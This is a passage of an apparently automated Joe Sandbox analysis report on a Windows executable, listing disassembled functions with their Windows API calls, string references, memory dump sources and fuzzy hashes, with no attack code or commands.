API ID: File_malloc_strncmp$ErrorH_prologLastModuleNamePointer_wcschr_wcscpy_wcsrchr
String ID: *messages***$*messages***$a
API String ID: 644328012-1639468518
Opcode ID: 10317417a4586eca6946355d169243879a170e5a8fd4d52b0636de9141d84393
Instruction ID: fae4271b5ca5faa12ece0e2ec7287f41438ce36a16ccd444264b88eb91a75a81
Opcode Fuzzy Hash: 10317417a4586eca6946355d169243879a170e5a8fd4d52b0636de9141d84393
Instruction Fuzzy Hash: BE81D171A002059BDB24AF64CC85BEAB7B4EF10354F10457FE695B72D1DB789A80CA8D

Function 0040C00E Relevance: 21.2, APIs: 14, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040BF27: _wcschr.LIBCMT ref: 0040BF57

GetWindowRect.USER32(?,?), ref: 0040C037
GetClientRect.USER32(?,?), ref: 0040C044
GetWindowLongW.USER32(?,000000F0), ref: 0040C0D0
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 0040C0F4
GetWindowRect.USER32(?,?), ref: 0040C101
GetWindowTextW.USER32(?,?,00000400), ref: 0040C120
SetWindowTextW.USER32(?,?), ref: 0040C146
GetSystemMetrics.USER32(00000008), ref: 0040C155
GetWindow.USER32(?,00000005), ref: 0040C162
GetWindowTextW.USER32(00000000,?,00000400), ref: 0040C18F
SetWindowTextW.USER32(00000000,00000000), ref: 0040C1BF
GetWindowRect.USER32(00000000,?), ref: 0040C1D2
SetWindowPos.USER32(00000000,00000000,00000000,00000110,00000000,00000110,00000204), ref: 0040C22F
GetWindow.USER32(00000000,00000002), ref: 0040C23A

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Window$RectText$ClientLongMetricsSystem_wcschr
String ID:
API String ID: 4134264131-0
Opcode ID: 08dc7c77311b924382860ca2428d645387aaf5d18714a7fe9270ec02dbb33203
Instruction ID: 83760e71496a0374b0b2c3c7462e578a832f05ba5207c20b6528c65cc0e3b382
Opcode Fuzzy Hash: 08dc7c77311b924382860ca2428d645387aaf5d18714a7fe9270ec02dbb33203
Instruction Fuzzy Hash: 37712971A00219EFDF10DFE8DC89AEEBBB9FF08310F048129F915A61A0D7749A55CB94

Function 0040D148 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 94
windowCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(00000068,00000000), ref: 0040D159
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,0040D296,00000001,?,?,0040E176,0042A830,0044BF30,0044BF30,00001000), ref: 0040D186
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0040D192
SendMessageW.USER32(00000000,000000C2,00000000,0042A724), ref: 0040D1A1
SendMessageW.USER32(004012F5,000000B1,05F5E100,05F5E100), ref: 0040D1B5
SendMessageW.USER32(004012F5,0000043A,00000000,?), ref: 0040D1CC
SendMessageW.USER32(004012F5,00000444,00000001,0000005C), ref: 0040D207
SendMessageW.USER32(004012F5,000000C2,00000000,00000456), ref: 0040D216
SendMessageW.USER32(004012F5,000000B1,05F5E100,05F5E100), ref: 0040D21E
SendMessageW.USER32(004012F5,00000444,00000001,0000005C), ref: 0040D242
SendMessageW.USER32(004012F5,000000C2,00000000,0042A7F8), ref: 0040D253

Part of subcall function 00418F00: DestroyWindow.USER32(?,75C05540,0040D183,?,?,?,?,?,0040D296,00000001,?,?,0040E176,0042A830,0044BF30,0044BF30), ref: 00418F0B

Strings

\, xrefs: 0040D1C5

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: MessageSend$Window$DestroyItemShow
String ID: \
API String ID: 2996232536-2967466578
Opcode ID: 1ad0790bab26b30c8b81776c8fd295548d614ad83e21288c0110c87a32675c13
Instruction ID: b73a047212543c466c214dc37ee7a3e93f324aea90a0f7c159de315576d9ffd8
Opcode Fuzzy Hash: 1ad0790bab26b30c8b81776c8fd295548d614ad83e21288c0110c87a32675c13
Instruction Fuzzy Hash: C131D470E4025CBEEB219B90CC4AFAE7FB9EB81714F204129F604BA1D0C7B55D10DB59

Function 0040E315 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 174
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0040E332
_memset.LIBCMT ref: 0040E34D
ShellExecuteExW.SHELL32(?), ref: 0040E443
IsWindowVisible.USER32(?), ref: 0040E47C
ShowWindow.USER32(?,00000000), ref: 0040E48A
WaitForInputIdle.USER32(?,000007D0), ref: 0040E498
GetExitCodeProcess.KERNEL32(?,?), ref: 0040E4B5
CloseHandle.KERNEL32(?), ref: 0040E4D4
ShowWindow.USER32(?,00000001), ref: 0040E52D

Strings

.inf, xrefs: 0040E400
.exe, xrefs: 0040E4DF

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_memset_wcslen
String ID: .exe$.inf
API String ID: 3215649069-3750412487
Opcode ID: c43d5cea43acb8451b998e593abe7df8778e72f0008cb859fe992623c606565e
Instruction ID: 3ccf00b328ba57d64acbb030228f5c5aef6956b37b3d39e4c31579fdc7cdee16
Opcode Fuzzy Hash: c43d5cea43acb8451b998e593abe7df8778e72f0008cb859fe992623c606565e
Instruction Fuzzy Hash: 59519371904358BADF21ABA2DC405AE7FB4AF00304F048C7BE941B72E1E77999A5CB49

Function 00419DD5 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 30
librarycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(riched32.dll,00000000,00438820,?,?,?,0040FE06), ref: 00419DF0
LoadLibraryW.KERNEL32(riched20.dll,?,0040FE06), ref: 00419DF9
OleInitialize.OLE32(00000000), ref: 00419E00
InitCommonControlsEx.COMCTL32(?), ref: 00419E18
SHGetMalloc.SHELL32(0044E800), ref: 00419E23

Strings

riched32.dll, xrefs: 00419DEB
riched20.dll, xrefs: 00419DF2

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: LibraryLoad$CommonControlsInitInitializeMalloc
String ID: riched20.dll$riched32.dll
API String ID: 448729520-3294723617
Opcode ID: 90f14c158bcb89b69ea4bae273e6414ebbc239f5036364857f5d8bbe2d5c0ea4
Instruction ID: bec1f3dff02ca963225762dc8c306ba0fdf2f44245cb56c0a91269f9c2818cf8
Opcode Fuzzy Hash: 90f14c158bcb89b69ea4bae273e6414ebbc239f5036364857f5d8bbe2d5c0ea4
Instruction Fuzzy Hash: F7F0E271B00308AFD7209FA1DC0DB8ABBE8EF40726F50042DE54493140D7B8A4018BA9

Function 00411162 Relevance: 10.6, APIs: 7, Instructions: 134
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00409B26: GetVersionExW.KERNEL32(?), ref: 00409B4B

FileTimeToLocalFileTime.KERNEL32(?,?,?,?), ref: 00411196
FileTimeToSystemTime.KERNEL32(?,?,?,?), ref: 004111A6
SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?), ref: 004111B2
SystemTimeToFileTime.KERNEL32(?,?), ref: 004111C0
SystemTimeToFileTime.KERNEL32(?,?), ref: 004111CA
FileTimeToSystemTime.KERNEL32(?,?,?,00000000,00000000,00000001), ref: 00411217
SystemTimeToFileTime.KERNEL32(?,?), ref: 00411294

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 1c7870660a01dd65847697781f7578502900650e516b8c8511763e6d701e722f
Instruction ID: 6100f1ab939499973783bd8b64e41088d3a7059288243f2f455175224bc31f79
Opcode Fuzzy Hash: 1c7870660a01dd65847697781f7578502900650e516b8c8511763e6d701e722f
Instruction Fuzzy Hash: DF410C71E00218ABCF14DFA5C8849EEB7F9FF48310B14856FE946E7254D738A949CB64

Function 004112B2 Relevance: 9.1, APIs: 6, Instructions: 104
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToFileTime.KERNEL32(?,00411418,?,?), ref: 00411303
LocalFileTimeToFileTime.KERNEL32(00411418,?), ref: 0041132F
FileTimeToSystemTime.KERNEL32(00411418,?), ref: 00411345
TzSpecificLocalTimeToSystemTime.KERNELBASE(00000000,?,?), ref: 00411355
SystemTimeToFileTime.KERNEL32(?,?), ref: 00411363
SystemTimeToFileTime.KERNEL32(?,?), ref: 0041136D

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Time$File$System$Local$Specific
String ID:
API String ID: 3144155402-0
Opcode ID: 16b3e87f3902756ff9327c032ae1a939148972bfe42c74fb0637f5a5c809bf78
Instruction ID: f31d9a43c15d5ace768677a2ffe202ee34847638ee321b2b61110941f9993af9
Opcode Fuzzy Hash: 16b3e87f3902756ff9327c032ae1a939148972bfe42c74fb0637f5a5c809bf78
Instruction Fuzzy Hash: 16315E7AE0021D9BCB14DFE4C840AEFB7B8FF48710F04452AE955E3214E734A985CBA9

Function 0041A27A Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0041A298

Part of subcall function 0041ED53: __mtinitlocknum.LIBCMT ref: 0041ED69
Part of subcall function 0041ED53: __amsg_exit.LIBCMT ref: 0041ED75
Part of subcall function 0041ED53: EnterCriticalSection.KERNEL32(0041A71B,0041A71B,?,004251F8,00000004,0042DAA0,0000000C,004210EE,00000000,0041A72A,00000000,00000000,00000000,?,0041E716,00000001), ref: 0041ED7D

___sbh_find_block.LIBCMT ref: 0041A2A3
___sbh_free_block.LIBCMT ref: 0041A2B2
RtlFreeHeap.NTDLL(00000000,00000000,0042D5E0,0000000C,0041ED34,00000000,0042D8B8,0000000C,0041ED6E,00000000,0041A71B,?,004251F8,00000004,0042DAA0,0000000C), ref: 0041A2E2
GetLastError.KERNEL32(?,004251F8,00000004,0042DAA0,0000000C,004210EE,00000000,0041A72A,00000000,00000000,00000000,?,0041E716,00000001,00000214), ref: 0041A2F3

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: bcbe32db6af557ffe86c7d94739138752961402e38fc8840a2aae5f7b369d5ba
Instruction ID: 381a15fe1de2b8d741a4582f625916aaa43432517cedc4ba20c03ca41f2b946c
Opcode Fuzzy Hash: bcbe32db6af557ffe86c7d94739138752961402e38fc8840a2aae5f7b369d5ba
Instruction Fuzzy Hash: 5401F735906205A6DB307BB2AC06BCE3664AF01728F10415FF911962D1DB3D88D18B5E

Function 00410EA3 Relevance: 7.5, APIs: 5, Instructions: 36
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410DF7: ResetEvent.KERNEL32(?,00000200,?,?,0040500E), ref: 00410E1D
Part of subcall function 00410DF7: ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 00410E2D

ReleaseSemaphore.KERNEL32(?,00000020,00000000,02271260,?,00000000,00410FB2,?,?,00401024,?,?,0040128E), ref: 00410EBF
CloseHandle.KERNEL32(02271264,02271264,0044E590,?,00000000,00410FB2,?,?,00401024,?,?,0040128E), ref: 00410EE0
DeleteCriticalSection.KERNEL32(02271400,?,00000000,00410FB2,?,?,00401024,?,?,0040128E), ref: 00410EF6
FindCloseChangeNotification.KERNELBASE(?,?,00000000,00410FB2,?,?,00401024,?,?,0040128E), ref: 00410F02
CloseHandle.KERNEL32(?,?,00000000,00410FB2,?,?,00401024,?,?,0040128E), ref: 00410F0A

Part of subcall function 00410C6C: WaitForSingleObject.KERNEL32(?,000000FF,00410E3A,?), ref: 00410C72
Part of subcall function 00410C6C: GetLastError.KERNEL32(?), ref: 00410C7E

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Close$HandleReleaseSemaphore$ChangeCriticalDeleteErrorEventFindLastNotificationObjectResetSectionSingleWait
String ID:
API String ID: 565839277-0
Opcode ID: b0c5eb44cc48d8aeceb54ba9457ac5ae927773a95a9fa64fa26639590f07cc77
Instruction ID: 39e3286da5e2b9f463cf34e71c08a22c4378c42c6e023b13eb84673481210850
Opcode Fuzzy Hash: b0c5eb44cc48d8aeceb54ba9457ac5ae927773a95a9fa64fa26639590f07cc77
Instruction Fuzzy Hash: 88F06275101708DFD7316B74DC85AE7BBA9FB06315F00082AE69A41120CA7768A19B64

Function 00419A27 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00419A3E
SHAutoComplete.SHLWAPI(?,00000010), ref: 00419A75

Part of subcall function 00411BD1: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,00000000,000000FF,00409BC8,?,00000000,?,00409CE2,00000000,-00000002,?,00000000,?), ref: 00411BE7

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00419A65

Strings

EDIT, xrefs: 00419A49, 00419A4E, 00419A61

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: e0083f4051276fdce15bceb59e3080037d6ac23fe363074340fa8ca1fa73ee92
Instruction ID: e0580f26e7dba7dbc242a01744853ed5fd2560c4a83a58afe7298293889790c2
Opcode Fuzzy Hash: e0083f4051276fdce15bceb59e3080037d6ac23fe363074340fa8ca1fa73ee92
Instruction Fuzzy Hash: A1F082323002186BD73097259C45FFB766C9F86B90F580066FE05E2290D768E99685BE

Function 004086E3 Relevance: 6.1, APIs: 4, Instructions: 104fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,-80000000,?,00000000,00000003,-00000001,00000000,00000000,00000000,?,00000000,00406DBE,00000000,00000005,?,00000011), ref: 00408774
GetLastError.KERNEL32(?,00000000,00406DBE,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000,00000802), ref: 0040877D
CreateFileW.KERNEL32(?,-80000000,?,00000000,00000003,00000000,00000000,?,?,00000800,?,00000000,00406DBE,00000000,00000005,?), ref: 004087B5
GetLastError.KERNEL32(?,00000000,00406DBE,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000,00000802), ref: 004087B9

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: 5686757e3dffccfcd5476853105c90ad9b2e846fe1c9ad7ee051c9ad47f40b56
Instruction ID: 062e89898b874755b3d9a5fb51e5e37505543be931fef43769ed50a19f90df97
Opcode Fuzzy Hash: 5686757e3dffccfcd5476853105c90ad9b2e846fe1c9ad7ee051c9ad47f40b56
Instruction Fuzzy Hash: 393158725047445BE7308B218D05BEBB7E4AB84718F204A2EF5D0A33C0DBB995498766

Function 0040184A Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040184F

Part of subcall function 00405F34: __EH_prolog.LIBCMT ref: 00405F39
Part of subcall function 00405F34: _memset.LIBCMT ref: 00405F9C
Part of subcall function 00405F34: _memset.LIBCMT ref: 00405FA8
Part of subcall function 00405F34: _memset.LIBCMT ref: 00405FC6

Part of subcall function 0040B7B1: __EH_prolog.LIBCMT ref: 0040B7B6

_memset.LIBCMT ref: 00401992
_memset.LIBCMT ref: 004019A1
_memset.LIBCMT ref: 004019B0

Part of subcall function 0041A60A: _malloc.LIBCMT ref: 0041A624

Part of subcall function 00409F46: __EH_prolog.LIBCMT ref: 00409F4B

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _memset$H_prolog$_malloc
String ID:
API String ID: 4233843809-0
Opcode ID: cea251618a4196baa60a09cdfc26b4b325674e0615a38645109e1af8a8a80c47
Instruction ID: 2fede72ccba09c749f0c8c909b52ed34bb2e7ac5ad8f76669cac34c0b6f6f395
Opcode Fuzzy Hash: cea251618a4196baa60a09cdfc26b4b325674e0615a38645109e1af8a8a80c47
Instruction Fuzzy Hash: B0510771845F809EC331DF7A88916C7FFE0AB29310F94496E91FE93282D7352658CB29

Function 00408BC0 Relevance: 6.1, APIs: 4, Instructions: 59fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6,004325AC,?,00000000,?,?,00408DD0,?,00000000,00000800,?,00000000), ref: 00408BD1
ReadFile.KERNELBASE(?,?,00000800,00000000,00000000,004325AC,?,00000000,?,?,00408DD0,?,00000000,00000800,?,00000000), ref: 00408BE9
GetLastError.KERNEL32(?,00408DD0,?,00000000,00000800,?,00000000), ref: 00408C21
GetLastError.KERNEL32(?,00408DD0,?,00000000,00000800,?,00000000), ref: 00408C3C

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: c610f9014d8eeb7b064f26712c9d4da67e362c16071d56148ef50c45903ee7ce
Instruction ID: 13e8381ba76e660ca590a80f80ea056ccdaf7de13a99e612f72684c5f07020c7
Opcode Fuzzy Hash: c610f9014d8eeb7b064f26712c9d4da67e362c16071d56148ef50c45903ee7ce
Instruction Fuzzy Hash: 3011A370609604EFEF249B60CA4096A37B9FB51374F10943FE596A52D4DE39DC81CB3A

Function 004075F0 Relevance: 6.0, APIs: 2, Strings: 1, Instructions: 786COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004075F5

Part of subcall function 004188B2: _wcscpy.LIBCMT ref: 0041899B

_memcmp.LIBCMT ref: 00407BC9

Strings

E, xrefs: 00407FB1

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: H_prolog_memcmp_wcscpy
String ID: E
API String ID: 1926841707-3568589458
Opcode ID: aa54b7e7266cf7c08b5d2f9acdba42abb51fdcad739be4ed2ccc402481056f02
Instruction ID: f9c8af1df3ef5d7c4a70e700ce4102f6c5c0276540fb6f08cb0a114df9005495
Opcode Fuzzy Hash: aa54b7e7266cf7c08b5d2f9acdba42abb51fdcad739be4ed2ccc402481056f02
Instruction Fuzzy Hash: BC72A770D086859AEF25DB64C444BEB7BA55F01304F0840FFE94A6B2D2C77D7A84CB6A

Function 0040CFC8 Relevance: 6.0, APIs: 4, Instructions: 29windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0040CFD9
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040CFEA
TranslateMessage.USER32(?), ref: 0040CFF4
DispatchMessageW.USER32(?), ref: 0040CFFE

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
